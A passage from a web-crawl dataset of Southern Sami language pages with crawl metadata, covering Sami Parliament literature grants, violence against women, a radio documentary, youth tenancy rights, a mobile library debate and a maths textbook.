gaavnesjidh. Håhkesjem jïjnjesh båetieh jih sijhtieh ektesne lustestalledh, Danielsen jeahta.\nMejtie lopme aajmene voerhtjen asken?\n– Nov sån dam vïenhtem! Jis bïevleme, tjoerebe maam jeatja hahtadidh, Danielsene mojjehte.","id":"","dump":"CC-MAIN-2019-04","url":"https:\/\/www.nrk.no\/sapmi\/saemien-byjresem-naennoestidh-1.12798945","date":"2019-01-17T22:38:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583659340.1\/warc\/CC-MAIN-20190117204652-20190117230652-00533.warc.gz","language":"sma","language_score":0.9999951124,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999951124191284}","num_words":186,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.091,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"– Nåhkehtidie vædtsoesvoetem nyjsenæjjaj jïh nïejti vööste\nSaemiedigkie lea gellie jaepieh tjoevkesem bïejeme vædtsoesvoetese saemien siebriedahkesne. Saemiedigkiepresidente Aili Keskitalo jeahta saemien skuvlh, siebrieh, gaarsjelimmiesiebrieh, institusjovnh jïh jeatjah byögkeles åejvieladtjh tjuerieh vædtsoesvoetem nyjsenæjjaj vööste biejjieöörnegasse bïejedh.\n– Sïjhtem aaj saemien ålmah jïh baernieh haestedh vielie eadtjohke meatan årrodh digkiedidh guktie mijjieh edtjebe vædtsoesvoetem nyjsenæjjaj vööste heerredidh. Soptsestidie dov baerniejgujmie jïh voelpigujmie. Årrode meatan raasth bïejede. Bööredidie dejtie dïedtem vaeltedh guktie dej mïelehkh, åabpah jïh tjidtjieh leah jearsoes dovne gåetesne jïh siebriedahkesne, Keskitalo jeahta.\n– Ij dïedtem vaeltieh\nSaemiedigkie vielie dotkemebaseradamme daajroem sæjhta vædtsoesvoeten bïjre nyjsenæjjaj vööste, juktie aktem ållesth guvviem åadtjodh fåantojste jïh dej råajvarimmiej bïjre mah juhtieh. Tjuara heerreden råajvarimmieh evtiedidh vædtsoesvoeten vööste, maahtoe viehkieabparaatesne tjuara læssanidh jïh viehkie- jïh båehtjierdimmiefaalenasse tjuara evtiesovvedh.\n– Saemiedigkie aktem dahkoesoejkesjen mietie gihtjeme reerenasseste vædtsoesvoeten vööste lïhke ektiedimmine, jïh vielie dotkemem sæjhta gaskem jeatjah fåantoej bïjre. Jalhts saemien siebriedahke aktem stoerre dïedtem åtna, ibie oktegh buektehth daam dåeriesmoerem nåhkehtidh, saemiedigkiepresidente Aili Keskitalo jeahta.\nDaennie aamhtesisnie dåarjoem utnebe jieniebistie EN-årgaanijste, mah leah Nöörjem birreme råajvarimmieh vædtsoesvoeten vööste evtiedidh saemien siebriedahkesne.\n– Mïrrestallemetjirkije lea aaj aamhtsem bæjjese vaalteme reerenassine. Læjhkan ij reerenasse dïedtem vaeltieh. Dam ibie guarkah jïh destie libie håjnoes, Keskitalo jeahta.","id":"","dump":"CC-MAIN-2019-04","url":"http:\/\/samimag.no\/sma\/content\/nahkehtidie-vaedtsoesvoetem-nyjsenaejjaj-jih-niejti-vooste","date":"2019-01-17T05:15:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583658702.9\/warc\/CC-MAIN-20190117041621-20190117063621-00185.warc.gz","language":"sma","language_score":1.0000054836,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 1.0000054836273193}","num_words":192,"character_repetition_ratio":0.094,"word_repetition_ratio":0.0,"special_characters_ratio":0.128,"stopwords_ratio":0.141,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ållesth 13 ohtsemh lin sïjse båateme, jïh saemiedigkieraerie lea 3,2 millijovnh kråvnah dåarjojne vadteme saemien lidteratuvreproduksjovnese. Gaajhkh ohtsemh dan åvteste dåarjoem jïjtsh prosjektese åadtjoejin.\n– Joekoen sjollehke maehtedh dåarjoem vedtedh gaajhkide ohtsemidie aktene öörnegisnie. Daate akte prioriteradimmie saemiedigkieraerien bieleste gosse mijjieh prioriteradimmiem vierhtijste jarkelamme daelie jaepien minngiegietjesne, saemiedigkieraerie Henrik Olsen jeahta.\nOrre saemien tjaelijh\nSaemiedigkieraerie lea gaskem jeatjah Čális fal-tjaelijestudijen antologijem dåårjeme jïh Sámi girjiečálliidsearvin antologijem sov 40 jaepien-heevehtimmien sjïekenisnie 2019.\n– Mijjieh jienebh orre saemien tjaelijh daarpesjibie jïh manne geerjene ihke tjaelijestudijen antologije bæjhkoehtamme sjædta mubpien jaepien. Seamma tïjjen vihkeles tjïertestidh mijjieh joe gellie væjkeles saemien tjaelijh utnebe, jïh daate gellievoete vååjnesasse båata Sami girjiečálliidsearvin antolgijesne, Olsen jeahta.\nNoerhtesaemien noerh maehtieh aaj aavoedidh populærlidteratuvrem jïjtsh gïelesne lohkedh, dan åvteste vierhtieh leah vadtasovveme jarkoestæmman voestes gærjeste raajrosne Hunger Games. Lissine dåarjoe lea vadtasovveme orre maanagærjide jieniebinie dejstie saemien gïelijste, faagegærjah, jarkoestimmieh, tjoejegærjah jïh antologijh.\nJarkelimmieh bertemedåarjosne\nSaemiedigkie lea såemies jarkelimmieh dorjeme bertemedåarjosne saemien bertemidie, man bïjre tjoeri syökedh aarebi. Daelie dåarjoe dejtie stööremes saemien bertemidie jeatjahtovveme akten ryöktesth dåarjose, mij aaj produksjovnedåarjoem feerhmie. Daate dorjesovveme latjkoen mietie SALAS:inie, saemiedigkieraerie soptseste.\n– Daate sæjhta jiehtedh bertemh mah ryöktesth dåarjoem åadtjoeh enn vielie maehtieh jïjtjh veeljedh jïh prioriteradidh mah gærjah dah sijhtieh darjodh. Daate akte pryöveoörnege mij vaasa 3 jaepieh jïh maam edtjieh jaabnan evalueradidh. Dïhte ohtsemebaseradamme öörnege produksjovnese lidteratuvreste lea dan åvteste ræhpas ohtsedh dejtie jeatjah bertemidie jallh sïeltide mah eah ryöktesth dåarjoem åadtjoeh bertemegïehtelæmman. Dan åvteste sagke vaenebh ohtsemh båateme daan jaepien, Olsen jeahta.\nMubpie ohtsememierie dåarjoeöörnegasse Produksjovne saemien lidteratuvreste lea njoktjen 1. b. 2019\nGyhtjelassh jïh gihtjehtimmie: Saemiedigkieraerie Henrik Olsen, tell. +47 907 75 219","id":"","dump":"CC-MAIN-2019-04","url":"https:\/\/saemiedigkie.no\/Saernievaaarhkoe\/Saemiedigkieraerie-3-2-millijovnh-vadta-baejhkoehtaemman-saemien-lidteratuvreste","date":"2019-01-22T21:38:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583874494.65\/warc\/CC-MAIN-20190122202547-20190122224547-00345.warc.gz","language":"sma","language_score":0.999994278,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999942779541016}","num_words":252,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.123,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Raadijovekinove saemien nyjsenæjjajgujmie\nNyjsenæjjah Saepmesne ovmessie dååjresh sijjen identiteeteste utnieh. Mijjieh Eva Mariam Röörosesne gaavnedibie. Iehkeden aarebi lea voestes boelhkem raadijovedokumentaareste vuesiehtamme Røros museumisnie.\nMuseumen prïhtjhgåetie lij dïeves almetjijstie mah nov sån åadtjoejin dan ellen voestes aejkien Raadiojvekinovem dååjredh, mïsse dah göökte nyjsenæjjah skraejriem vaalteme, akte ektie goltelimmie prïhtjeginie jïh gaahkoejgujmie.\n– Akte prosesse orreme gusnie mijjieh gellie jaepieh libie barkeme Aalkoealmetjigujmie jïh nyjsenedåeriesmoerigujmie Latin Amerijhkesne, jïh ånnetji ånnetji libie sagke vielie Saapman vuartasjamme goh akte parallelle. Jïh dæjman dïhte 100-jaepienheevehtimmie lij, gusnie skraejriem åadtjoejimen maam akt sjïere darjodh saemien nyjsenæjjajgujmie. Elsa Laula lij akte guvhkiehtæjja mij lea skraejriem vadteme jeenjesidie, vïenhtem. Ihke dïhte åvtese vaaltasovvi heevehtimmesne, ij ajve dan saemien byjresasse mej aaj mubpide, daate lea mijjem viehkiehtamme dan saemien siebriedahkese vuartasjidh dan tjåanghkoen raejeste Tråantesne jïh daan biejjien raajan. Jïh dam sïjhtimen darjodh nyjsenæjjaj gïeli tjïrrh.\nGïeh dah saemien nyjsenæjjah daan biejjien, gie aerpiem reerieh dan politihkeles gåhtsajimmien mænngan? Ij amma goh politihkeles guvhkiehtæjjah men goh vihkeles faktovrh siebriedahkesne ovmessie barkoej tjïrrh, Fjellheim tjïelkeste.\nMan åvteste Raadijove?\nFjellheim jïh Normann lægan raadijovem veeljeme goh meedija, dan åvteste raadijove dej mïelen mietie, aktem våaromem sjugnede gusnie maahta astedh goltelidh mubpiej åssjaldahkide, mïelide jïh ussjedimmide. Jïh dej mïelen mietie ij leah dan gellieh mah dam darjoeh.\n– Dokumentaarine vuartasjibie reaktese eatnemevierhtide, gusnie mijjieh daan biejjien, guktie gæmhpoe orreme histovrijen tjïrrh. Mijjieh kolonialiseradimmien soptsestibie bïjre jïh mijjieh sïjhtebe aaj bååstede histovrijen sïjse vaedtsedh juktie dam mïrhke baeliem vuartasjidh, mij dovne dennie saemien siebriedahkesne ij lea dan åehpies orreme, naeliedotkeme.\nMijjieh voejhkelamme dejtie histovrijen fåantojde vuartasjidh jïh maam mijjieh darjobe daej soptsesigujmie. Guktie sïjhtebe dejtie åehpiedehtedh guktie dah viehkiehtieh bievnedh, olles dagkerh aath ikth vielie sjugniehtovvh. Mijjieh aaj dam saemien aerpiem vuartasjibie, jalhts daaroedehteme, naeliedotkeme jïh vielie orreme, guktie barka jieliehtimmine, gïeledaajrojne, identiteetine j.n.v, Fjellheim soptseste.\nAamhtese jåarhka guvvien nuelesne.\nGusnie maahta dam goltelidh?\n– Annjebodts göökte boelhkh gaervies, ållesth 4 boelhkh abpe raajrosne. Mijjieh libie aalkeme «raadijovekinovasse» bööredidh, ektesne goltelidh goh akte dïrrege jïh våarome govlesadtemasse. Tjåanghkenidh jïh goltelidh lea joekoen vihkeles juktie maehtedh sinsitnine hijvenlaakan soptsestidh, mijjen mïelen mietie.\nGuktie almetjh dam dååsteme daan raajan?\n– Joekoen hijven, buerebe goh veanhtadamme. Raadijove akte meedija mejtie joekoen jeenjesh aktem hijven tsiehkiem utnieh gaajhkine boelvine. Desnie maahta jïjtjemse jieledh jïh ovmessie guvvieh vuejnedh destie maam gåvla. Jïh aaj akte konsepte juktie gaavnedidh. Mijjieh sijhtebe gaajhkesh dovnesh edtjieh maehtedh daejtie goltelidh podcasten tjïrrh giesien åvtelen, Fjellheim minngemosth jeahta.","id":"","dump":"CC-MAIN-2019-04","url":"http:\/\/samimag.no\/sma\/content\/raadijovekinove-saemien-nyjsenaejjajgujmie","date":"2019-01-17T05:18:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583658702.9\/warc\/CC-MAIN-20190117041621-20190117063621-00562.warc.gz","language":"sma","language_score":0.9999885559,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999885559082031}","num_words":390,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.11,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kultuvrepedagogihkijh kultuvrepedagogihken prosjekth skuvlesne faelieh jïh aaj ööhpehtimmie jïh viehkiem barkejidie gieh sïjhtieh tjiehpiesdaajhtomem maanide jïh noerde barkedh. Teaterebovren dramatjïerth maanide jïh noeride mej leah luhkien jaepien raejeste luhkieuktsien jaepien raajan lea stoerre bielem dej barkoste.\nAalkuvisnie fïerhten tjaktje jïh gïjre dellie programme maana- jïh fuelhkievuesiehtimmiejgujmie buakta, v.g. teater, musihke jïh daansoe. Dah vuesiehtimmieh daamtaj maanasåajtose aarkbiejjien biejjegen vuesehte jïh ååmegasse laavvadahken jïh aejlegen. Såemies vuesiehtimmieh golmen jaepien raejeste sjiehteles jïh jeatjah dejtie båarasåbpoe maanide. Sjïere kultuvrefaalaldahke Upmeje tjïelten maadthskuvlelearohkidie faala.\nSidan har granskats 2009-09-11\nUmeå är en kulturstad i Europa. Här finns två universitet, ett livskraftigt näringsliv och ett attraktivt utbud av kultur och fritid.\nUmeå kommun är regionens största arbetsgivare. Med gemensamma krafter skapar vi välfärd och samhällsnytta för kommunens invånare.","id":"","dump":"CC-MAIN-2019-04","url":"http:\/\/www.umea.se\/umeakommun\/funktionsmappar\/sprak\/languages\/samegielat\/kultuvre\/kultuvrejarngemaanidejihnoeride.4.2aeb902411d30c9e460800061170.html","date":"2019-01-19T17:03:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583671342.16\/warc\/CC-MAIN-20190119160425-20190119182425-00304.warc.gz","language":"sma","language_score":0.9996976852,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"sma_Latn_score\": 0.9996976852416992}","num_words":122,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.107,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Stipende\nStipende jollebe ööhpehtæmman julevsaemien jallh åarjelsaemien gïelesne, jïh saemien gïeleööhpehtimmie studentide maarkasaemien dajveste\nSaemiedigkie stipendem vadta studentide mah jollebe ööhpehtimmiem julevsaemien jallh åarjelsaemien gïelesne vaeltieh, jïh studentide maarkasaemien dajveste mah saemien gïeleööhpehtimmiem vaeltieh.\nSaemiedigkie gïeleskreejremestipendem vadta learoehkidie jåarhkeskuvlesne mej saemien goh faage jåarhkeskuvlesne.\nDåarjoe\nSaemiedigkie dåarjoem vadta saemien maanagïertide jïh saemien goevtesidie nöörjen maanagïertine mah saemien kultuvrem jïh gïelem våaroeminie utnieh.\nSaemiedigkie dåarjoem vadta maanagïertide mah eadtjohkelaakan berkieh saemien gïelh maanagïertesne nænnoestehtedh jïh evtiedidh.\nSaemiedigkie dåarjoem vadta evtiedæmman pedagogeles ïebnijste maanagïertide.\nMaahtah tseegkemedåarjoen bïjre ohtsedh 1. boelhkese: Åestije-, jïh dorjese\/dïenesjefokuse jïh\/jallh 2. boelhkese: Evtiedimmie- jïh sjïdtemeboelhke.","id":"","dump":"CC-MAIN-2019-04","url":"https:\/\/saemiedigkie.no\/Daaarjoe-jih-stipende","date":"2019-01-20T06:34:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583700734.43\/warc\/CC-MAIN-20190120062400-20190120084400-00593.warc.gz","language":"sma","language_score":1.0000048876,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000048875808716}","num_words":95,"character_repetition_ratio":0.112,"word_repetition_ratio":0.0,"special_characters_ratio":0.119,"stopwords_ratio":0.2,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vielie bïevnesh dan jerkien bïjre jaepien 2012 govlehtallh Birgitta Simma Julevu\/Luleå stift: 0920-49 24 58.\nSkyllemejerkie saemide\nFïerhten jaepien Svïenske gærhkoe saemien skyllemejerkiem öörnede, dam dorje Saemien raerien, Svïenske gærhkosne, Saemien referensedåehkien Härnösanden jïh Julevu\/Luleå gærhkoevoeni jïh Sáminuorran ektine.\nSkyllemetijje orrije skylleme-gyrhkesjimmine. Skylleme dov laavkomem nænnoeste. Jupmelen tjelmine gaajhkesh seamma vyörtegs. Skylleme sæjhta dam dutnjien nænnoestidh.\nDah gyhtjelassh jaahkoen bïjre, gie dïhte Jesuse jïh maam bijbielisnie tjaaleme. Aaj maadtoe-laaketje gyhtjelassh almetji bïjre, mij reaktoe jïh mij ij reaktoe, voelpi, gieriesvoeten, dååhkerdimmien bïjre jïh jielemen åssjelmesh. Gyhtjelassh mah gaajhkh almetjh tjuerieh vaestiedidh dannasinie ij leah guhte oktegimsie jeala.\nSkyllemetijjesne gosse digkedeminie, soptsestalleminie jïh gyrhkesjimmesne nuepiem åadtjoeh ussjedidh gie datne jïh maam jaahkah.","id":"","dump":"CC-MAIN-2019-04","url":"https:\/\/www.svenskakyrkan.se\/skylledh","date":"2019-01-23T06:53:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547584203540.82\/warc\/CC-MAIN-20190123064911-20190123090911-00257.warc.gz","language":"sma","language_score":0.999968648,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"sma_Latn_score\": 0.9999686479568481}","num_words":107,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.159,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daesnie gåetieluhpielaake aelkieslaakan buerkiestamme:\n1. GÅETIELUHPESNE GAALKA BUEKTIEHTIDH ÅRRODH\nGåetieluhpesne galka buektiehtidh årrodh. Guelpijste tæhtjojde galka nuekies jille årrodh. Klaash gelkieh nuekies stoerre årrodh, laavkometjiehtjelh\/ ohtjegåetieh gelkieh buerie årrodh, jih aaj galka buektiehtidh beabpmoeh jurjiehtidh. Muvhtede gåetie-aajhterijste eah dan bijre seatedh jih gåetieluhpiem ålmetjidie leejjestieh maam ij leah gåetieluhpielaaken mietie dåahkasjehteme. Tjïelte maahta vaestiedidh mejtie gåetieluhpie laaken mietie lea.\n2. DAERPIES TJAALELDH LATJKOEM ÅADTJODH!\nNjaalmeldh latjkoe seamma nænnoes goh tjaaleldh latjkoe. Båelpie njaalmeldh latjkojne, dotnoeh gåetie-aajterh ov- geahpan maehtiejidien sjïdtedh maam dam lidien latjkeme. Maahtah dellie tjaaleldh latjkoem kriebpesjidh åadtjodh. Leejjemepaehpereh maahtah vuesiehtæmman; gærjabovresne, åtnoeraerie fylhketjïeltesne åestedh. Muvhth gåetie-aajterh sijhtieh datne edtjh lopmh baeledh, kraesieh bietskiedidh, maanah sujhtedh j.n.v. Jis åtnah dihte hijven, dle tjoevere Leejjemepaehpierisnie tjåadtjodh. Dagkeres daarjomh tjoevere vihtieslaakan leejjemepaehpierisnie tjåadtjodh, guktie guabpatjahkh sïemes dan bijre lægan Eejhtegh - dah guhth eejhtegi- sijjesne tjoeverieh sijjen maanaj åvteste, gieh nuerebe 18 jaepien båeries, Leejjemepaehperisnie tjaeledh\n3. JOEKEHTSH LEEJJEMELATJKOEH - \"OPPSIGELIGE FORHOLD\" JIH \"TIDSBESTEMTE FORHOLD\"\nRaeriestibie dutnjien leejjemelatjkoem utnedh guktie jijtje maahtah nænnoestidh man guhkiem edtjh gåetieluhpesne årrodh. Dihte nimhtie jis datne gåetieluhpiem leejjh jih ih leah gåetie-aajterinie latjkeme man guhkiem edtjh desnie årrodh, dle gåetieluhpielaake dihte maam nænnoste guktie dåtnoeh gåetie-aajhteren leejjemelatjkoe galka årrodh.\nJis edtjh gåetieluhpeste juhtedh, dle tjoeverh akte aski åvteli gåetie-aajterasse soptsestidh. Jis gåetie-aajhtere sæjhta datne edtjh debpede juhtedh, dle tjoevere dutnjien dam tjaeledh. Dihte leejjemelatjkoe daaroen gohtje \"oppsigelige leieforhold\".\nJis daajrah ih datne buerebe gåetieluhpiem gaavnh jallh jeatjah sjiekenistie ih sijhth debpede juhtedh, dle buerebe jis dallah laatjkajidien man guhkiem edtjh dennie gåetieluhpesne årrodh. Dle maehtiejidien leejemelatjkoem, maam daaroen gohtje \"tidsbesteme leieforhold\" vierhtiedidh tjaeledh.\nDaennie leejjemelatjkosne tjoeverh unnemes golme (3) jaepieh gåetieluhpesne årrodh. Badth jis lea onn ohtje gåetieluhpie laptesne jallh tjeallarisnie dle ajve akte (1) jaepie. Nimhtie maahtah buerebe tjirkedh gåetieluhpesne åadtjodh årrodh. Badth jis dellie sijhth debpede juhtedh leejjemelatjkoej åvteli, tjoeverh abpe boelhketjen åvteste maeksedh jis ij naan jeatjebh gåetielåhpan juhtieh.\n4. DOV LEAH REAKTAH JIJTJE JIJTJEDH GÅETIELUHPIEM NUHTJEDH\nDov leah reaktah jijtje jijtjedh gåetieluhpiem nuhtjedh. Eah gåetie-aajterh maehtieh gåetielåhpan tjaangedh gåessie jijtjh sijhtieh. Jis gåetie-aajhteren leah ïerieh gåetieluhpesne, vuesiehtæmman gåetieluhpiem dåvvodh, dle tjoevere datnine mååhtedidh gåessie maahta gåetielåhpan tjaangedh.\n5. DEEPOSITUME\nGåetie-aajhtere maahta deepositumem datneste kriebpesjidh maeksedh. Dihte deepositume galka dotnoen latjkoem gåetieluhpien bijre tjirkedh. Jis gåetieluhpie slaameme jallh ih leah gåetieluhpien åvteste maakseme, dle deepositumeste geasa. Deepositume ij edtjh dovrebe govhte askh gåetieluhpiemaaksojste årrodh. Deepositume galka viedteldihkie kontosne tjåadtjodh,jih lissiemaaksoeh gaalka gåetieluhpie-dåastojasse. Gåetie-aajhtere edtja dam kontoem tseegkedh. Deepositumem edtja bååstide gåetieluhpe-dåastojasse gosse gåetieluhpeste jåhta.\n6. LEEJJEME\nTjoevere gåetieluhpien åasam nænnoestidh. Gåetieluhpie-dåastoje maahta aaj gåetie-aajhterinie latjkedh el- njuvvi jih moeri åvteste maeksedh. Maahta aaj gåetie-aajterinie latjkedh beetnegh gåetieluhpien åvteste edtja asken voestes biejji åvteli maeksedh. Idien maehtieh mååhtedidh gåetieluhpe-maaksoem edtja aarebi akte aski åvteli maeksedh. Ij gåetieluhpie-aajhtere maehtieh dam voestes jaepien gåetieluhpien åasam jeatjadehtedh. Jis edtja dam jeatjadehtedh, dle tjoevere akte aski åvteli dam orre gåetieluhpien åasam tjaaleldh buektedh.","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/www.unginordland.no\/infonuorra\/aarjelsaemiengiele\/reaktah\/","date":"2019-02-17T20:07:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247482478.14\/warc\/CC-MAIN-20190217192932-20190217214932-00538.warc.gz","language":"sma","language_score":0.9999562502,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999562501907349}","num_words":456,"character_repetition_ratio":0.097,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.044,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sijhtieh gærjabussen åvteste gæmhpodh\nSaemiedigkie nænnoesti dåarjoem gærjabusside nåhkehtidh, dan åvteste dah buerebh sijhtieh vielie vierhtieh nuhtjedh saemien lidteratuvrem darjodh. Daate ij leah hijvenlaakan dåastoehtamme jïh jeenjesh tuhtjieh nåake gosse sijhtieh aktem dan hijven faalenassem nåhkehtidh. Digkiedimmie lea baahke daej biejjiej sosijaale meedijinie.\n– Daah gærjah lin meatan mannem hammoedidh, dah munnjien lastoem jïh væljoem vedtin saemien lïeredh goh geerve almetje jïh daah mannem hammoedin goh saemie. Daate lij dïhte aajnehke gaskese maam dejnie utnim dejnie mij lij saemien, daate lij mov skraejrie saemieskuvlesne aelkedh. NSR jeahta gærjabussesne vaenie saemien gærjah, men dah mah leah gïelem dasseme eah maehtieh saemien gærjah löönedh gosse eah saemien maehtieh, men ibie akt maehtieh saemien lïeredh jis ibie saemien gærjah utnieh. Dan åvteste busse vielie goh gærjah, dan åvteste tjoerebe gæmhpodh guktie dïhte guhkiebasse jeala, Facebookdåehkien åvtehke \"Bevar de samiske bokbussene\", Fransisca Kappfjell Herbst tjïelkeste, mij siejhmelaakan prosjekteåejvine barka daajroesåafosne Helgeland.\nAehtjebe satnem meatan veelti gærjabussese gosse lij onne gusnie saemien gærjah lööni jalhts idtji gïelem maehtieh. Daelie maahta daam faalenassem dassedh mij satnem identiteetine viehkiehti.\n–Tjoerebe gærjabussen åvteste gæmhpodh jïh ij leah fer seenhte, Fransisca Kappfjell Herbst jeahta jïh birrie almetjh meatan årrodh aksjovnesne.\nTjuara almetjidie goltelidh\nSaemiedigkieraerie, Mikkel Eskil Mikkelsen (NSR) lea akte dejstie mah lin daan nænnoestimmien duekesne. Daelie jeahta dah læjhkan jaepien 2020 raajan tjuerieh daerpiesvoetem gærjabussese vuarjasjidh, joekoen Åarjel-Saepmesne jïh Julev-Saepmesne.\n– Jis öörnege gærjabussigujmie heajhtasåvva tjoerebe jeatjah raerieh almetjidie gaavnedh. Jeenjesh hov vuastalieh gærjabusse heajhtasåvva jïh mijjieh tjoerebe goltelidh maam dah jiehtieh. Dïhte mij lea vihkeles mijjese goerkelidh lea mijjieh sïjhtebe aktem stoerre bieliem jarkelidh dehtie dåarjoehtimmeste mij Saemiedigkesne dorjesåvva. Mijjieh aktem stuerebe digkiedimmiem sïjhtebe saemiedigkien lidteratuvrepolitihken bïjre jïh akte dejstie sïllijste maam mijjieh vïenhtebe lea vihkeles dåarjoehtidh lea lidteratuvrem sjugniedidh, dan åvteste mijjieh sïjhtebe gærjahællojde dievhtedh jienebi gærjajgujmie. Annje lea tïjje jïh mijjieh sïjhtebe hoksedh akte hijven öörnege sjædta mij aaj lea nåhtojne åarjel- jïh julevsaemien dajvesne gusnie gåhkoeh leah stoerre, Mikkelsen jeahta.\nVihkeles dajvide bïjre jarkan\nGærjabussen utniji gaskem doh jeanatjommesh leah båasaramme. Akte dejstie lea Sigbjørn Dunfjeld, lohkehtæjja åarjelsaemien gïelesne Kråangken jåarhkeskuvlesne. Dan mïelen mietie gærjabusse vihkeles, jïh væjkele orre saemien gærjah jïh lidteratuvrem gaavnedh saemien tsiehkiej bïjre.\n– Tuhtjem daate akte nåake åssjalommese dan åvteste gærjabusse lea sov sijjiem gaavneme åarjelsaemien siebriedahkesne. Jis dïhte heajhtasåvva dellie eerjebe ånnetji dehtie viermeste maam mijjieh sjugniedamme. Dïhte funksjovne maam busse åtna goh akte lissie dåarjoe gærjagåeteste, åarjelsaemien lidteratuvrine almetjidie dajvine bïjre jarkan, lea akte joekoen vyörtegs vierhtie mïsse ij edtjh pruskiehtidh. Manne argumentasjovnem guarkam gosse jiehtieh dah sijhtieh vierhtide nuhtjedh vielie saemien lidteratuvrem sjugniedidh, men im jaehkieh dah mah leah daam nænnoestimmiem dorjeme, daejrieh mah funksjovnh gærjabusse saemien siebriedahkesne åtna. Manne haastam dah ikth vielie dïsse ussjedieh jïh aktem finansieradimmievuekiem gærjabussese gaevnieh jïh vuartasjidh mah funksjovnh busse maahta utnedh båetijen aejkien, Dunfjeld minngemosth jeahta.","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/samimag.no\/sma\/content\/sijhtieh-gaerjabussen-avteste-gaemhpodh","date":"2019-02-19T21:31:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247492825.22\/warc\/CC-MAIN-20190219203410-20190219225410-00274.warc.gz","language":"sma","language_score":0.9999860525,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9999860525131226}","num_words":453,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.135,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Multi 1 Lïerehtimmiegærja\n\n\nBjørnar Alseth, Ann-Christin Arnås, Henrik Kirkegard & Mona Røsseland\nMatematihkka máttasámegillii\nMulti fleksibiliteetem matematihke-lohkehtæmman vadta gosse lohkehtæjjide dåårje jïh nuepiem vadta måedtie lohkehtimmie-vuekieh provhkedh. MULTI eadtjaldåvva, buerie mïelem vadta jïh lustes baalka matematihkese.\nMultise vihkeles:\n- Måedtie ïedtjh gosse vueptiestidh, goerehtidh jïh eadtjohkelaakan barkedh\n- Lohkehtimmie mejtie sjïehtesjamme lohkehtimmie-ektievyökosne\n- Veele maahtoe-ulmide learoesoejkesjen mietie vuartasjidh\nBuerielaakan faagine kapihtelistie kapihtelidie barkedh jaepijste jaepide\nVijries jïh eensi learohkevierhtiedimmie maam lohkehtimmesne sjïehtesje\nMulti eeremes:\n- Teorijem jïh ïedtjide ektede\n- Vuartesje guktie åvtese barkedh; fïerhten aamhtesinie eensilaakan jïh guhkies boelhkine vuesehte guktie barkedh\n- Åenehks jïh aelhkie teksth åtna\n- Lohkehtimmiem learoehkidie sjïehtesje sjïere faagi daltesinie\n- Buerie jïh tjïelke gærjam Lærerens bok\n- Dejtie learoesoejkesjen ulmide fïerhten kapihtelisnie vuesehte\nMultin åejviekomponenth fïerhten daltesasse:\nMaadthgærja A jïh B\nLïerehtimmiegærja\nGaskeviermiesijjie\nwww.lagadus.org\/multi\nISBN: 978-82-8263-073-3","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/calliidlagadus.org\/web\/index.php?egavpi=1&girji=390&giella1=sam","date":"2019-02-18T00:56:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247483873.51\/warc\/CC-MAIN-20190217233327-20190218015327-00418.warc.gz","language":"sma","language_score":0.9999066591,"language_script":"Latn","minhash_cluster_size":145,"top_langs":"{\"sma_Latn_score\": 